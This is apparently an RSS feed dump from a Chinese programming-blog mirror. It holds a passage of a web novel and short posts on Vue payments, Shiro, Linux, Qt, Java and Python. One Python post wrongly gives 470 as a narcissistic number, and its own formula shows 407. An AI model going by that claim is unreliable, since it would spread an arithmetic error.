借6000？你特么是要买坨金子用吗！”&#xA;“你懂啥！这手机老漂亮了，就是那个iPhone，听过没？老牛逼了啊！”&#xA;“牛逼也没用！我没钱，妈的，困死我了，睡觉了。”&#xA;话音一落，对面的杨阳便把电话给挂了，林萧坐在床上一脸懵逼，“妈的，这家伙敢挂我电话，看我回老家怎么收拾你。”&#xA;不过想是这么想，林萧是肯定收拾不了杨阳的，原因无他，因为杨阳身高185，体重将近200斤，而林萧这身高165，体重100出头的人，压根就不是杨阳的对手。&#xA;无奈之下，林萧也知道今晚肯定是没戏了，只能明天再找人想想办法，实在不行，也就只能再等两个月了。&#xA;......&#xA;第二天，林萧照常起床上班，不过因为昨晚睡得晚，林萧十分顺利的搞了一双熊猫眼。&#xA;而就在去公司的路上，林萧收到了杨阳的短信，“把你的银行卡号发过来。”&#xA;看到这个，林萧心中已经隐隐猜到了一些，默默的把自己的工资卡号给发了过去。&#xA;没过多久，林萧的手机上便又收到一条短信，还是杨阳发来的，“钱已经打过去了，你第一次找兄弟我借钱，怎么说也得给你搞来，钱是我找别人借的，说了三个月内还给他，你特么可别放我鸽子，不然等你回老家看我怎么收拾你。”&#xA;林萧看完后，嘴角不由得扬起一抹微笑，默默地念叨了一句，“算你小子够兄弟，这事办的还算靠谱。”&#xA;等林萧到公司以后，刚坐到工位上，手机上便收到了汇款的短信，6000元整，一分不多，一分不少。&#xA;林萧过后又上网查了查自己的网银，确认钱已经到账后，给杨阳发了条短信过去，“钱已经收到，谢了。”&#xA;没过一会儿，林萧收到了杨阳的回复，“谢啥，上班忙着呢，回头再聊。”&#xA;看完短信之后，林萧把自己的绝版三星翻盖手机扔到了一旁，随后再次打开了Apple的网站。&#xA;一波操作下来，林萧买下了人生第一部苹果手机——iPhone4s。&#xA;接下来的几天里，林萧没事儿就忍不住看看快递到哪了，那叫一个度日如年。&#xA;好在Apple的快递速度并不慢，倒是让林萧少受了一些煎熬。&#xA;当林萧拆完包装，看到那做工精致，外观时尚漂亮的手机之后，瞬间便觉得，这5000多块钱花的是真值，就算抛开手机不说，哪怕人家这装手机的盒子，看着也都是那么的高端大气上档次。&#xA;以前林萧还觉得宋刚买那个iPhone4不划算，如今林萧把手机拿到自己手里以后才发现，这么好看的手机，哪是用钱来衡量的，能买来好心情就是赚到。&#xA;这也算是林萧第一次真正体会到了购物的快感，毕竟这是花自己的钱买的！&#xA;虽然这钱实际上是借来的，但在林萧心里，这和花自己的钱也没啥区别，毕竟早晚都是自己还钱。&#xA;......&#xA;新手机到手，林萧自然是将原来的绝版三星翻盖手机，彻底的封存了起来。&#xA;刚开始的几天，林萧对新手机的热度持续不减，特别是每次听到手机解锁和锁机的声音，都让林萧觉得是那么的动听，也极大程度上满足了林萧装逼的欲望。&#xA;而这也就导致，林萧经常乐此不疲的没事解锁和锁机，如此反复，就为了听到那悦耳的声音。&#xA;李魁和程佳丽为此经常调侃林萧，说林萧为了买个手机已经魔怔了，不过话虽如此，但二人眼神中那偶尔出现的羡慕，却是没有办法掩盖的。&#xA;王立新对此倒显得比较矜持，始终保持着沉默旁观的态度。&#xA;不过，过了一周之后，让林萧三人惊讶的事情出现了。&#xA;王立新不声不响的也买了一部iPhone4s，配置甚至比林萧的还要好上一个档次。&#xA;这件事情一出，林萧倒还好点，李魁和程佳丽彻底不淡定了，这尼玛以前看林萧一个人嘚瑟也就罢了，现在却变成了两个人轮流嘚瑟。&#xA;事实上在这种情况下，哪怕林萧和王立新就算是正常用手机，恐怕李魁和程佳丽也会觉得是二人在嘚瑟。&#xA;这就是人性的本性。&#xA;为了最后不至于成为孤家寡人，李魁和程佳丽很快达成了统一战线，二人谈好了，要买iPhone的话，两个人必须先通知对方，到时候要买一起买，免得造成一个人看对方三个人嘚瑟的场景出现。&#xA;得知两人的这个约定之后，王立新倒是没什么反应，林萧却被两个人给搞得有些莞尔，心中忍不住嘀咕，这俩人也真特么是够奇葩。&#xA;转载于:https://www.cnblogs.com/zuoxiaolong/p/diaosi104.html</description>
    </item>
    <item>
      <title>移动网页唤起手机内 支付宝 微信支付</title>
      <link>https://bchobby.github.io/posts/c33c912346c129a5165dcb487a8f0964/</link>
      <pubDate>Sat, 28 Sep 2019 17:10:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c33c912346c129a5165dcb487a8f0964/</guid>
      <description>本文链接：https://blog.csdn.net/qq_36710522/article/details/90483194&#xA;业务场景介绍：&#xA;H5移动端支持微信支付 [ 微信支付分为微信内支付（JSAPI支付官方API）和微信外支付（H5支付官方API）] &amp;amp;&amp;amp; 支付宝支付 [手机网站支付转 APP 支付 官方API ]&#xA;订单生成逻辑：前端请求后端提交订单，后端去和微信或者支付宝对接生成订单（后续支付都是这个逻辑进行的对接）&#xA;一、移动端微信支付，vue中如何玩？&#xA;在移动端微信支付分为微信内支付和微信外支付。&#xA;1.在订单组件中选择支付方式之后在支付页面先去判断是否是在微信内：&#xA;//判断是否微信&#xA;is_weixn(){ var ua = window.navigator.userAgent.toLowerCase(); if (ua.match(/MicroMessenger/i) == &#39;micromessenger&#39;){ return true; } else { return false; } }, 2.触发立即支付方法，根据微信内外的不同请求后端不同的接口，如果是微信外支付非常简单了~&#xA;3.【微信外支付】下面先看微信外支付，官方文档也写的很清楚，后端返回一个url地址，前端的工作就是拿到这个url地址进行跳转就可以了，看一下2-3步代码：&#xA;handelPay() { if(this.wechatpayType == &#39;wxpay&#39;){ // console.log(&#34;微信内支付&#34;) let data={ amount:this.number, } this.$http.insideWeChatPay(data).then( res =&amp;gt; { if(res.data.code === 200){ this.weChatParameter=res.data.data // console.log(this.weChatParameter,&#34;微信内支付需要参数&#34;) this.weixinPay() }else{ Toast({ message: res.data.msg, position: &#39;middle&#39;, duration: 1000 }); } }); } else if(this.</description>
    </item>
    <item>
      <title>SpringBoot(13) 集成Shiro实现动态加载权限</title>
      <link>https://bchobby.github.io/posts/60ccc97bc616db4672e0d3affea23e0d/</link>
      <pubDate>Sat, 28 Sep 2019 16:39:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60ccc97bc616db4672e0d3affea23e0d/</guid>
      <description>一、前言 本文小编将基于 SpringBoot 集成 Shiro 实现动态uri权限，由前端vue在页面配置uri，Java后端动态刷新权限，不用重启项目，以及在页面分配给用户 角色 、 按钮 、uri 权限后，后端动态分配权限，用户无需在页面重新登录才能获取最新权限，一切权限动态加载，灵活配置&#xA;基本环境 spring-boot 2.1.7mybatis-plus 2.1.0mysql 5.7.24redis 5.0.5 温馨小提示：案例demo源码附文章末尾，有需要的小伙伴们可参考哦 ~&#xA;二、SpringBoot集成Shiro 1、引入相关maven依赖 &amp;lt;properties&amp;gt; &amp;lt;shiro-spring.version&amp;gt;1.4.0&amp;lt;/shiro-spring.version&amp;gt; &amp;lt;shiro-redis.version&amp;gt;3.1.0&amp;lt;/shiro-redis.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;!-- AOP依赖,一定要加,否则权限拦截验证不生效 【注：系统日记也需要此依赖】 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-aop&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Redis --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-redis-reactive&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Shiro 核心依赖 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.shiro&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;shiro-spring&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${shiro-spring.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Shiro-redis插件 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.crazycake&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;shiro-redis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${shiro-redis.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 2、自定义Realm doGetAuthenticationInfo：身份认证 （主要是在登录时的逻辑处理）doGetAuthorizationInfo：登陆认证成功后的处理 ex: 赋予角色和权限&#xA;【 注：用户进行权限验证时 Shiro会去缓存中找,如果查不到数据,会执行doGetAuthorizationInfo这个方法去查权限,并放入缓存中 】 -&amp;gt; 因此我们在前端页面分配用户权限时 执行清除shiro缓存的方法即可实现动态分配用户权限 @Slf4j public class ShiroRealm extends AuthorizingRealm { @Autowired private UserMapper userMapper; @Autowired private MenuMapper menuMapper; @Autowired private RoleMapper roleMapper; @Override public String getName() { return &#34;</description>
    </item>
    <item>
      <title>vue调色板</title>
      <link>https://bchobby.github.io/posts/9f5ab80d6d0ff5ac08d7ab9bf2137f32/</link>
      <pubDate>Sat, 28 Sep 2019 11:16:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f5ab80d6d0ff5ac08d7ab9bf2137f32/</guid>
      <description> &amp;lt;template&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;h1&amp;gt;调色板&amp;lt;/h1&amp;gt; &amp;lt;div class=&#34;box&#34; :style=&#39;{background:`rgb(${r},${g},${b})`}&#39;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;r: &amp;lt;input type=&#34;range&#34; min=&#34;0&#34; max=&#34;255&#34; v-model=&#39;r&#39;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;span v-text=&#39;r&#39;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;div&amp;gt;g: &amp;lt;input type=&#34;range&#34; min=&#34;0&#34; max=&#34;255&#34; v-model=&#39;g&#39;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;span v-text=&#39;g&#39;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;div&amp;gt;b: &amp;lt;input type=&#34;range&#34; min=&#34;0&#34; max=&#34;255&#34; v-model=&#39;b&#39;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;span v-text=&#39;b&#39;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import HelloWorld from &#34;./components/HelloWorld.vue&#34; export default{ components:{ HelloWorld }, data(){ return{ r:0, g:0, b:0 } } } &amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; .box{ width: 100px; height: 100px; border: 1px solid red; } &amp;lt;/style&amp;gt; </description>
    </item>
    <item>
      <title>Linux 踩坑系列-错误Error: ENOSPC: System limit for number of file watchers</title>
      <link>https://bchobby.github.io/posts/ea4d961a7193628cbd722af8b6f23047/</link>
      <pubDate>Sat, 28 Sep 2019 09:22:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea4d961a7193628cbd722af8b6f23047/</guid>
      <description>Linux 踩坑系列-错误Error: ENOSPC: System limit for number of file watchers 发现背景解决办法 发现背景 系统： Ubuntu18&#xA;问题发生场景： 在使用react脚手架写案例的时候，使用指令 npm start 不成功，发生 Error: ENOSPC: System limit for number of file watchers错误。&#xA;解决办法 Error: ENOSPC: System limit for number of file watchers错误，是文件监视程序的系统产生了限制，达到了默认的上限，需要增加限额。&#xA;可以使用指令 $ cat /proc/sys/fs/inotify/max_user_watch来查看&#xA;root@:~$ cat /proc/sys/fs/inotify/max_user_watch es 524288 临时限额增加可以设置新的指令：&#xA;$ sudo sysctl fs.inotify.max_user_watches = 524288 $ sudo sysctl -p 永久增加限额&#xA;$ echo fs.inotify.max_user_watches = 524288 | sudo tee -a /etc/sysctl.conf $ sudo sysctl -p [参考文献]https://github.</description>
    </item>
    <item>
      <title>Qt5 模拟鼠标点击</title>
      <link>https://bchobby.github.io/posts/1da3377319f6ced5d162f86f7a0e6fd6/</link>
      <pubDate>Fri, 27 Sep 2019 22:16:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1da3377319f6ced5d162f86f7a0e6fd6/</guid>
      <description> windows官方说明：https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-mouse_event?redirectedfrom=MSDN&#xA;参考自：https://www.fearlazy.com/index.php/post/168.html&#xA;做一个游戏辅助，使用Windows API鼠标自动在某一个坐标点击。&#xA;//头文件 #include&amp;lt;Windows.h&amp;gt; #pragma comment(lib, &#34;User32.lib&#34;) QDesktopWidget *desktopwidget = QApplication::desktop(); int desktop_width = desktopwidget-&amp;gt;width(); //获取屏幕分辨率宽度 int desktop_height = desktopwidget-&amp;gt;height(); //获取屏幕分辨率高度 int stronghold_height = desktop_height * 0.68; //要点击鼠标的位置在屏幕一定比例的位置 int stronghold_width = desktop_width * 0.9; ::mouse_event(MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE, stronghold_width * 65535 / 1366, stronghold_height * 65535 / 768,0 ,0); //移动到指定位置 ::mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); //按下左键 ::mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); //左键抬起 </description>
    </item>
    <item>
      <title>飘</title>
      <link>https://bchobby.github.io/posts/c64a98d6a33e2732d00ea8a9d7dc281e/</link>
      <pubDate>Fri, 27 Sep 2019 18:37:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c64a98d6a33e2732d00ea8a9d7dc281e/</guid>
      <description>package zy03; import java.io.*; import java.util.*; public class ceshi { private static String str=&#34;&#34;; private static Scanner sc=new Scanner(System.in); private static BufferedReader br=null; private static String a[]=new String[1000000]; private static String c[]=new String[10000000]; private static int b[]=new int[1000000]; private static int l=0; private static int l1=0; private static int n=0; private static int j=0; //private static Boolean false; public static void cunfang() throws IOException {//将单词存到数组a while(str!=null) { int i=0; str=str.</description>
    </item>
    <item>
      <title>.Net平台调用の参数对应</title>
      <link>https://bchobby.github.io/posts/e4fea2a9b41676dea08fb91d8060b6e3/</link>
      <pubDate>Fri, 27 Sep 2019 17:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4fea2a9b41676dea08fb91d8060b6e3/</guid>
      <description>具体对应参见官方&amp;lt;----点击此处&#xA;C#和C++的互操作性，同行的文章不错，点我跳转&#xA;//C++中的DLL函数原型为&#xA;//extern &#34;C&#34; __declspec(dllexport) bool 方法名一(const char* 变量名1, unsigned char* 变量名2)&#xA;//extern &#34;C&#34; __declspec(dllexport) bool 方法名二(const unsigned char* 变量名1, char* 变量名2)&#xA;//C#调用C++的DLL搜集整理的所有数据类型转换方式,可能会有重复或者多种方案,自己多测试&#xA;//c++:HANDLE(void *) ---- c#:System.IntPtr //c++:Byte(unsigned char) ---- c#:System.Byte //c++:SHORT(short) ---- c#:System.Int16 //c++:WORD(unsigned short) ---- c#:System.UInt16 //c++:INT(int) ---- c#:System.Int16&#xA;//c++:INT(int) ---- c#:System.Int32 //c++:UINT(unsigned int) ---- c#:System.UInt16&#xA;//c++:UINT(unsigned int) ---- c#:System.UInt32&#xA;//c++:LONG(long) ---- c#:System.Int32 //c++:ULONG(unsigned long) ---- c#:System.UInt32 //c++:DWORD(unsigned long) ---- c#:System.UInt32 //c++:DECIMAL ---- c#:System.Decimal //c++:BOOL(long) ---- c#:System.</description>
    </item>
    <item>
      <title>html2canvas&#43;jspdf 将html‘截图’放入pdf 后用PDFjs预览/打印/下载等</title>
      <link>https://bchobby.github.io/posts/5aaf7060609fe5b6c00881daf8581ada/</link>
      <pubDate>Fri, 27 Sep 2019 17:41:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5aaf7060609fe5b6c00881daf8581ada/</guid>
      <description>废话不多说，还得废话一句 ：太菜了 一个坑爬另一个坑，差点放弃了，还好实现了&#xA;思路&#xA;用html2canvas 把html转图片；把图片放到 jspdf 中 变成pdf(这会儿就可以保存、打印了，但打印有个bug,就是点击 打印处的下载，会导致下载的文件没格式 ，手动改格式就可以正常打开了);为了解决这个打印页面下载的问题 ，使用了PDFjs 这个可以预览pdf文件、pdf的base64码或者二进制文件 实现也比较简单 ，但我在jspdf 转 base64的时候遇到了麻烦 ，官网 http://mrrio.github.io/上的例子转的 是&#xA;形如 data:application/pdf;base64,JVBERi0xLj…&#xA;而我 的是&#xA;形如 data:application/pdf;filename=generated.pdf;base64,JVBERi0xL…&#xA;而这也导致了转的码用PDFjs无法正常解码，然后就开始搞，之前以为是版本问题 虽引入旧版测试 ，果然 没fienname这个了 ，但还是打不开，这就是转码方式不对了。虽转变策略,用二进制文件终于能正常打开了 ，预览 、打印、下载等也没问题&#xA;效果如下&#xA;主要代码&#xA;var pdfDom = document.querySelector(id);//要转图片的html html2Canvas(pdfDom, { //相关参数 百度 帖子很多 useCORS: true, allowTaint: true, // 清晰度 dpi: window.devicePixelRatio, scale:2 }).then(function (canvas) { console.log(canvas) const marginBottom = 34 // 项目页面显示微处理 let canvasWidth = canvas.width //页面生成canvas宽度 let canvasHeight = canvas.</description>
    </item>
    <item>
      <title>（转）利用IDEA搭建SpringBoot项目，整合mybatis，实现简单的登录功能。</title>
      <link>https://bchobby.github.io/posts/7130b142d5efce060c7c663b57d62c41/</link>
      <pubDate>Fri, 27 Sep 2019 16:07:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7130b142d5efce060c7c663b57d62c41/</guid>
      <description>亲测可用！！！&#xA;https://blog.csdn.net/weixin_42685022/article/details/82215893</description>
    </item>
    <item>
      <title>字符流</title>
      <link>https://bchobby.github.io/posts/f7e1ac80d19bb08c0995cadfe6602c88/</link>
      <pubDate>Fri, 27 Sep 2019 13:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7e1ac80d19bb08c0995cadfe6602c88/</guid>
      <description>Reader&#xA;BufferedReader提供了读取文本文档，每次读取一行，读到文件返回null；&#xA;package zy03; import java.io.*; public class text02 { public static void main(String[] args) throws IOException { File f=new File(&#34;D://大二java//1.txt&#34;); try { FileReader fr=new FileReader(f);//输入流 BufferedReader br=new BufferedReader(fr);//缓存输入流 String s; while((s=br.readLine())!=null) { System.out.println(s); } br.close(); } catch(FileNotFoundException e) { System.out.println(&#34;文件未找到！&#34;); } catch(IOException e) { System.out.println(&#34;读取失败&#34;); } } } Writer&#xA;输出流FileWriter 缓存输出流BufferedWriter; 换行的时候使用newLine()函数；&#xA;package zy03; import java.io.*; public class writer { public static void main(String[] args) { File f=new File(&#34;</description>
    </item>
    <item>
      <title>LinkedList一定比ArrayList的插入和删除效率高吗</title>
      <link>https://bchobby.github.io/posts/e82fa4972ecc1d829d4dad8a065bd4f6/</link>
      <pubDate>Fri, 27 Sep 2019 00:19:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e82fa4972ecc1d829d4dad8a065bd4f6/</guid>
      <description>ArrayList是实现了基于动态数组的数据结构，LinkedList基于链表的数据结构。&#xA;本文主要看一下，两种List集合，插入删除效率情况，为什么使用ArrayList的情况更多些？&#xA;LinkedList首部插入数据很快，因为只需要修改插入元素前后节点的prev值和next值即可。&#xA;ArrayList首部插入数据慢，因为数组复制的方式移位耗时多。&#xA;LinkedList中间插入数据慢，因为遍历链表指针（二分查找）耗时多；&#xA;ArrayList中间插入数据快，因为定位插入元素位置快，移位操作的元素没那么多。&#xA;LinkedList尾部插入数据慢，因为遍历链表指针（二分查找）耗时多；&#xA;ArrayList尾部插入数据快，因为定位速度快，插入后移位操作的数据量少；&#xA;总结：在集合里面插入元素速度比对结果是，首部插入，LinkedList更快；中间和尾部插入，ArrayList更快；&#xA;在集合里面删除元素类似，首部删除，LinkedList更快；中间删除和尾部删除，ArrayList更快；&#xA;由此建议，数据量不大的集合，主要进行插入、删除操作，建议使用LinkedList；&#xA;数据量大的集合，使用ArrayList就可以了，不仅查询速度快，并且插入和删除效率也相对较高</description>
    </item>
    <item>
      <title>[已解决]报错run `npm audit fix` to fix them, or `npm audit` for details</title>
      <link>https://bchobby.github.io/posts/a5f9cfd9ed9a7069518ea518e5899fa2/</link>
      <pubDate>Thu, 26 Sep 2019 23:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5f9cfd9ed9a7069518ea518e5899fa2/</guid>
      <description>问题:&#xA;added 246 packages from 681 contributors and audited 382 packages in 17.509s found 13 vulnerabilities (4 low, 6 moderate, 2 high, 1 critical) run `npm audit fix` to fix them, or `npm audit` for details 解决:&#xA;npm audit fix --force 转载于:https://www.cnblogs.com/hankleo/p/11595156.html</description>
    </item>
    <item>
      <title>Amazon Linux AMI Install Mysql / Redis</title>
      <link>https://bchobby.github.io/posts/5877f7ac68528094db11f54a744e6f53/</link>
      <pubDate>Thu, 26 Sep 2019 18:42:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5877f7ac68528094db11f54a744e6f53/</guid>
      <description>我太难了。。&#xA;Mysql&#xA;以下全部sudo&#xA;yum update yum install mysql57-server service mysqld start chkconfig mysqld on Secure&#xA;mysql_secure_installation Redis&#xA;https://medium.com/@ss.shawnshi/how-to-install-redis-on-ec2-server-for-fast-in-memory-database-f30c3ef8c35e&#xA;转载于:https://www.cnblogs.com/GW977/p/11593646.html</description>
    </item>
    <item>
      <title>水仙花数的三种解决方法（Python实现）</title>
      <link>https://bchobby.github.io/posts/513231e8569d5be5e8dcc2bb44a12706/</link>
      <pubDate>Thu, 26 Sep 2019 17:54:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/513231e8569d5be5e8dcc2bb44a12706/</guid>
      <description> 先来了解一下什么是水仙花数。水仙花数是这样一个三位数：它的个位数、十位数、百位数的三次方之和，等于它自身。例如，153就是一个水仙花数，因为153=1^3+5^3+3^3。470也是一个水仙花数，因为470=4^3+7^3+0^3。&#xA;我们今天的任务就是，编程求100到999之间所有的水仙花数。&#xA;那么这个题目的关键就是，给定一个三位数abc，如何获得它的个位数c,十位数b,百位数a？&#xA;我们先来看第一种解决方案，也是最主流的解决方法：数位分离。&#xA;以153为例，我们先看，如何获得它的个位数3？只要%10就可以了：&#xA;153%10=3&#xA;通过模10运算，我们将个位数3分离了出来。&#xA;那么如何分离十位数5？先将十位数挪到个位，再利用%10，不就可以分离出来了吗？&#xA;通过除以10向下取整，可以将十位数挪到个位上来：&#xA;153//10=15&#xA;再利用模运算分离个位上的10即可：&#xA;15%10=5&#xA;这样我们就获得了十位数5.&#xA;同理，如果想得到153的百位数，将153除以100向下取整即可：&#xA;153 // 100 = 1&#xA;这就是数位分离的思想，先得到要验证的总数，再将各个位数分离出来。&#xA;代码实现如下：&#xA;for num in range(100,1000): hundred=num//100 ten=(num//10)%10 single=num%10 if num==hundred**3+ten**3+single**3: print(&#39;%d是一个水仙花数&#39;%num) 这种方法逻辑很清晰，不过若是没见过这种解法的人，第一次怕是想不到数位分离的方法。其实，初学者更容易理解顺向思维的解法。&#xA;设个位数为a，十位数为b，百位数为c，则总数为a+10b+100c&#xA;判断a^3+b^3+c^3 == a+10b+100c即可。&#xA;for a in range(10): for b in range(10): for c in range(1,10): sum = a + 10*b + 100*c if a**3 + b**3 + c**3 == sum: print(&#34;%d是一个水仙花数&#34;%sum) 还有一种方法，可以利用字符串的特性，轻松地实现三个位数上的提取：&#xA;先将这个三位数转换成字符串，通过下标就可以提取个位、十位、百位数。再将提取出的字符转换成int型即可。&#xA;代码如下：&#xA;for num in range(100,1000): s=str(num) hundred=int(s[0]) ten=int(s[1]) digit=int(s[2]) if num==hundred**3+ten**3+digit**3: print(num) </description>
    </item>
    <item>
      <title>微信开发者工具提示未绑定网页开发者-设置</title>
      <link>https://bchobby.github.io/posts/b3ea0422b7fb9736bec22703d3d540c9/</link>
      <pubDate>Thu, 26 Sep 2019 17:01:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3ea0422b7fb9736bec22703d3d540c9/</guid>
      <description>1.登录微信公众号平台 https://mp.weixin.qq.com&#xA;1.1选择开发者工具&#xA;1.2选择web开发者工具&#xA;1.3邀请绑定即可&#xA;2.登录微信小程序 https://mp.weixin.qq.com</description>
    </item>
    <item>
      <title>tomcat服务器中各个目录及文件夹的含义</title>
      <link>https://bchobby.github.io/posts/dd804456d2d6007045ac539f5deeaecc/</link>
      <pubDate>Thu, 26 Sep 2019 16:15:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd804456d2d6007045ac539f5deeaecc/</guid>
      <description>我们在设计Java Web项目的过程中，经常会用到tomcat服务器，所以我们也需要对tomcat有一定的了解。今天就给大家分享一下tomcat服务器下各个目录和文件夹的一些作用&#xA;这里我们以tomcat-7.0.53为例，目录结构如下：&#xA;我们可以看到一共有bin，conf，lib，logs，temp，webapps，work， 一共7个文件夹，下面来对它们分别进行介绍：&#xA;（1）bin目录 该目录主要是用来存放tomcat的命令，主要有两大类，一类是以.sh结尾的（linux命令），另一类是以.bat结尾的（windows命令）。&#xA;重要提示：&#xA;很多环境变量的设置都在此处，例如可以设置JDK路径、tomcat路径；&#xA;startup 用来启动tomcat；shutdown 用来关闭tomcat；修改catalina可以设置tomcat的内存。&#xA;（2）conf目录 该目录主要是用来存放tomcat的一些配置文件。&#xA;重要提示：&#xA;server.xml可以设置端口号、设置域名或IP、默认加载的项目、请求编码；&#xA;web.xml可以设置tomcat支持的文件类型；&#xA;context.xml可以用来配置数据源之类的信息；&#xA;tomcat-users.xml用来配置管理tomcat的用户与权限；&#xA;在catalina目录下可以设置默认加载的项目。&#xA;（3）lib目录 该目录主要用来存放tomcat运行需要加载的jar包。&#xA;例如，像连接数据库的jdbc的包我们可以加入到lib目录中来。&#xA;（4）logs目录 该目录主要用来存放tomcat在运行过程中产生的日志文件，非常重要的是在控制台输出的日志。（清空不会对tomcat运行带来影响），&#xA;在windows环境中，控制台的输出日志在catalina.xxxx-xx-xx.log文件中；&#xA;在linux环境中，控制台的输出日志在catalina.out文件中。&#xA;（5）temp目录 该目录主要是给用户存放tomcat在运行过程中产生的临时文件。（清空不会对tomcat运行带来影响）&#xA;（6）webapps目录 该目录主要是用来存放应用程序，当tomcat启动时会去加载webapps目录下的应用程序。可以以文件夹、war包、jar包的形式发布应用。当然，你也可以把应用程序放置在磁盘的任意位置，在配置文件中映射好就行。&#xA;（7）work目录 该目录主要是用来存放tomcat在运行时编译后的文件，例如JSP编译后的文件。&#xA;清空work目录，然后重启tomcat，可以达到清除缓存的作用。&#xA;好啦，以上讲解的就这么多啦，希望对你有帮助！！！</description>
    </item>
    <item>
      <title>0018__九针串口公母头定义 &amp; RS232串口线常见接法与引脚定义</title>
      <link>https://bchobby.github.io/posts/62b1d128f148b7922b527fef47252061/</link>
      <pubDate>Thu, 26 Sep 2019 08:39:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62b1d128f148b7922b527fef47252061/</guid>
      <description>https://blog.csdn.net/qq39221093/article/details/33726977&#xA;https://www.lulian.cn/news/60-cn.html</description>
    </item>
    <item>
      <title>base/7/x86_64/filelists_db     FAILED</title>
      <link>https://bchobby.github.io/posts/637abfb0dffb682fe935176e77d78f58/</link>
      <pubDate>Wed, 25 Sep 2019 18:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/637abfb0dffb682fe935176e77d78f58/</guid>
      <description>解决办法：&#xA;[root@localhost ~]# cd /var/lib/rpm [root@localhost rpm]# rm -rf __db.* # 清除原 rpmdb 文件 [root@localhost rpm]# rpm --rebuilddb # 重建 rpm 数据库 [root@localhost rpm]# yum clean all # 清除所有 yum 缓存 如果以上方法未能解决问题，请按照下面的方法再继续操作：&#xA;# 检查 yum 源配置文件&#xA;[root@localhost rpm]# cd /etc/yum.repos.d/ # 更新 yum 源&#xA;[root@localhost yum.repos.d]# yum update -y --skip-broken&#xA;# 清除所有 yum 缓存&#xA;[root@localhost yum.repos.d]# yum clean all&#xA;Loaded plugins: fastestmirror&#xA;Cleaning repos: base epel extras updates&#xA;Cleaning up list of fastest mirrors</description>
    </item>
    <item>
      <title>Android studio 怎样连接手机运行，Android studio连接手机调试</title>
      <link>https://bchobby.github.io/posts/e4489d4c47e420e4ed4be37bafbea33b/</link>
      <pubDate>Wed, 25 Sep 2019 16:52:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4489d4c47e420e4ed4be37bafbea33b/</guid>
      <description>今天百度了一下如何在在Android studio如何在真机上运行，比较复杂，看了很多，现在给大家总结一下：&#xA;1、首先要将手机连接到电脑上，直接在电脑上安装一个应用宝，然后在手机上也安装一个应用宝，通过应用宝将手机连接到电脑上&#xA;2、打开手机的USB调试，选择 传输文件就行&#xA;3、在电脑端的应用宝，连接手机，我使用的是扫码连接&#xA;4、让后再Android studio 上选择手机运行即可&#xA;我的手机是华为，选择上，然后点击运行按钮就可以&#xA;注：最近发现了一个问题，通过这种方式确实可以在自己手机上运行，但是这个APP好像不能分享给别人，原因好像是系统不兼容，Android studio为你安上的是x86系统的</description>
    </item>
    <item>
      <title>js毫秒值转日期格式化</title>
      <link>https://bchobby.github.io/posts/7e1b93699dfefcb035e84f6d63c004f5/</link>
      <pubDate>Wed, 25 Sep 2019 15:59:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e1b93699dfefcb035e84f6d63c004f5/</guid>
